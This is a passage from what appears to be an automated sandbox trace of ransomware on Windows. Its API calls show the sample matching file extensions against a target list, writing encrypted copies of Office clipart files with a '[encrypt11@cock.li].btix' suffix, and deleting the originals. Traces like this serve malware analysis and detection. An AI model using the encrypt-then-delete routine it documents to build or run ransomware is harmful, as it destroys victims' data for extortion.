returned -1 [0137.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.316] lstrlenW (lpString=".1cd") returned 4 [0137.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.316] lstrlenW (lpString=".jpg") returned 4 [0137.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.316] lstrlenW (lpString=".doc") returned 4 [0137.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.316] lstrlenW (lpString=".docx") returned 5 [0137.316] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0137.316] lstrlenW (lpString=".pdf") returned 4 [0137.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.316] lstrlenW (lpString=".xls") returned 4 [0137.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.316] lstrlenW (lpString=".xlsx") returned 5 [0137.316] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0137.316] lstrlenW (lpString=".ppt") returned 4 [0137.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.316] lstrlenW (lpString=".zip") returned 4 [0137.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.316] lstrlenW (lpString=".rar") returned 4 [0137.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.316] lstrlenW (lpString=".bz2") returned 4 [0137.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.316] lstrlenW (lpString=".7z") returned 3 [0137.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.316] lstrlenW (lpString=".dbf") returned 4 [0137.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.316] lstrlenW (lpString=".1cd") returned 4 [0137.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.317] lstrlenW (lpString=".jpg") returned 4 [0137.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.317] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.317] lstrlenW (lpString="J0099178.WMF") returned 12 [0137.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.616] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3606) returned 1 [0137.616] CloseHandle (hObject=0x4c4) returned 1 [0137.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0137.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.624] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.624] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0137.629] GetLastError () returned 0x0 [0137.630] ReadFile (in: hFile=0x508, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xe16, lpOverlapped=0x0) returned 1 [0137.652] WriteFile (in: hFile=0x4b4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xe20, lpOverlapped=0x0) returned 1 [0137.653] ReadFile (in: hFile=0x508, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.653] WriteFile (in: hFile=0x4b4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.653] SetEndOfFile (hFile=0x4b4) returned 1 [0137.653] CloseHandle (hObject=0x4b4) returned 1 [0137.653] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.654] SetEndOfFile (hFile=0x508) returned 1 [0137.655] CloseHandle (hObject=0x508) returned 1 [0137.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0137.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.657] lstrlenW (lpString=".doc") returned 4 [0137.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.657] lstrlenW (lpString=".docx") returned 5 [0137.657] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0137.657] lstrlenW (lpString=".pdf") returned 4 [0137.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.657] lstrlenW (lpString=".xls") returned 4 [0137.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.657] lstrlenW (lpString=".xlsx") returned 5 [0137.657] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0137.657] lstrlenW (lpString=".ppt") returned 4 [0137.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.657] lstrlenW (lpString=".zip") returned 4 [0137.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.657] lstrlenW (lpString=".rar") returned 4 [0137.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.657] lstrlenW (lpString=".bz2") returned 4 [0137.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.657] lstrlenW (lpString=".7z") returned 3 [0137.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.657] lstrlenW (lpString=".dbf") returned 4 [0137.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.657] lstrlenW (lpString=".1cd") returned 4 [0137.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.657] lstrlenW (lpString=".jpg") returned 4 [0137.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.658] lstrlenW (lpString=".doc") returned 4 [0137.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.658] lstrlenW (lpString=".docx") returned 5 [0137.658] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0137.658] lstrlenW (lpString=".pdf") returned 4 [0137.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.658] lstrlenW (lpString=".xls") returned 4 [0137.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.658] lstrlenW (lpString=".xlsx") returned 5 [0137.658] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0137.658] lstrlenW (lpString=".ppt") returned 4 [0137.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.658] lstrlenW (lpString=".zip") returned 4 [0137.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.658] lstrlenW (lpString=".rar") returned 4 [0137.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.658] lstrlenW (lpString=".bz2") returned 4 [0137.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.658] lstrlenW (lpString=".7z") returned 3 [0137.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.658] lstrlenW (lpString=".dbf") returned 4 [0137.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.658] lstrlenW (lpString=".1cd") returned 4 [0137.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0137.658] lstrlenW (lpString=".jpg") returned 4 [0137.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.659] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.659] lstrlenW (lpString="J0099186.JPG") returned 12 [0137.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.678] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=16738) returned 1 [0137.678] CloseHandle (hObject=0x508) returned 1 [0137.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0137.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.678] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.678] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0137.679] GetLastError () returned 0x0 [0137.679] ReadFile (in: hFile=0x508, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x4162, lpOverlapped=0x0) returned 1 [0137.733] WriteFile (in: hFile=0x4b4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x4170, lpOverlapped=0x0) returned 1 [0137.735] ReadFile (in: hFile=0x508, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.735] WriteFile (in: hFile=0x4b4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.735] SetEndOfFile (hFile=0x4b4) returned 1 [0137.735] CloseHandle (hObject=0x4b4) returned 1 [0137.735] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.735] SetEndOfFile (hFile=0x508) returned 1 [0137.737] CloseHandle (hObject=0x508) returned 1 [0137.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0137.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.738] lstrlenW (lpString=".doc") returned 4 [0137.738] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.738] lstrlenW (lpString=".docx") returned 5 [0137.739] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0137.739] lstrlenW (lpString=".pdf") returned 4 [0137.739] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.739] lstrlenW (lpString=".xls") returned 4 [0137.739] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.739] lstrlenW (lpString=".xlsx") returned 5 [0137.739] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0137.739] lstrlenW (lpString=".ppt") returned 4 [0137.739] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.739] lstrlenW (lpString=".zip") returned 4 [0137.739] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.739] lstrlenW (lpString=".rar") returned 4 [0137.739] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.739] lstrlenW (lpString=".bz2") returned 4 [0137.739] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.739] lstrlenW (lpString=".7z") returned 3 [0137.739] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.739] lstrlenW (lpString=".dbf") returned 4 [0137.739] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.739] lstrlenW (lpString=".1cd") returned 4 [0137.739] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.739] lstrlenW (lpString=".jpg") returned 4 [0137.739] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.740] lstrlenW (lpString=".doc") returned 4 [0137.740] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.740] lstrlenW (lpString=".docx") returned 5 [0137.740] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0137.740] lstrlenW (lpString=".pdf") returned 4 [0137.740] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.740] lstrlenW (lpString=".xls") returned 4 [0137.740] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.740] lstrlenW (lpString=".xlsx") returned 5 [0137.740] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0137.740] lstrlenW (lpString=".ppt") returned 4 [0137.743] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.743] lstrlenW (lpString=".zip") returned 4 [0137.743] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.743] lstrlenW (lpString=".rar") returned 4 [0137.743] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.743] lstrlenW (lpString=".bz2") returned 4 [0137.743] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.743] lstrlenW (lpString=".7z") returned 3 [0137.743] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.744] lstrlenW (lpString=".dbf") returned 4 [0137.744] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.744] lstrlenW (lpString=".1cd") returned 4 [0137.744] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0137.744] lstrlenW (lpString=".jpg") returned 4 [0137.744] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.744] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.744] lstrlenW (lpString="J0099188.JPG") returned 12 [0137.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.745] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=9080) returned 1 [0137.745] CloseHandle (hObject=0x508) returned 1 [0137.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0137.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.745] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.745] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0137.746] GetLastError () returned 0x0 [0137.746] ReadFile (in: hFile=0x508, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x2378, lpOverlapped=0x0) returned 1 [0137.759] WriteFile (in: hFile=0x4b4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x2380, lpOverlapped=0x0) returned 1 [0137.760] ReadFile (in: hFile=0x508, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.760] WriteFile (in: hFile=0x4b4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.760] SetEndOfFile (hFile=0x4b4) returned 1 [0137.761] CloseHandle (hObject=0x4b4) returned 1 [0137.761] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.761] SetEndOfFile (hFile=0x508) returned 1 [0138.037] CloseHandle (hObject=0x508) returned 1 [0138.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0138.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0139.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.313] lstrlenW (lpString=".doc") returned 4 [0139.313] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0139.313] lstrlenW (lpString=".docx") returned 5 [0139.313] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0139.313] lstrlenW (lpString=".pdf") returned 4 [0139.313] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0139.313] lstrlenW (lpString=".xls") returned 4 [0139.313] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0139.313] lstrlenW (lpString=".xlsx") returned 5 [0139.313] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0139.313] lstrlenW (lpString=".ppt") returned 4 [0139.313] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0139.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.313] lstrlenW (lpString=".zip") returned 4 [0139.313] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0139.313] lstrlenW (lpString=".rar") returned 4 [0139.313] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0139.314] lstrlenW (lpString=".bz2") returned 4 [0139.314] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0139.314] lstrlenW (lpString=".7z") returned 3 [0139.314] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0139.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.314] lstrlenW (lpString=".dbf") returned 4 [0139.314] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0139.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.314] lstrlenW (lpString=".1cd") returned 4 [0139.314] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0139.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.314] lstrlenW (lpString=".jpg") returned 4 [0139.314] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0139.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 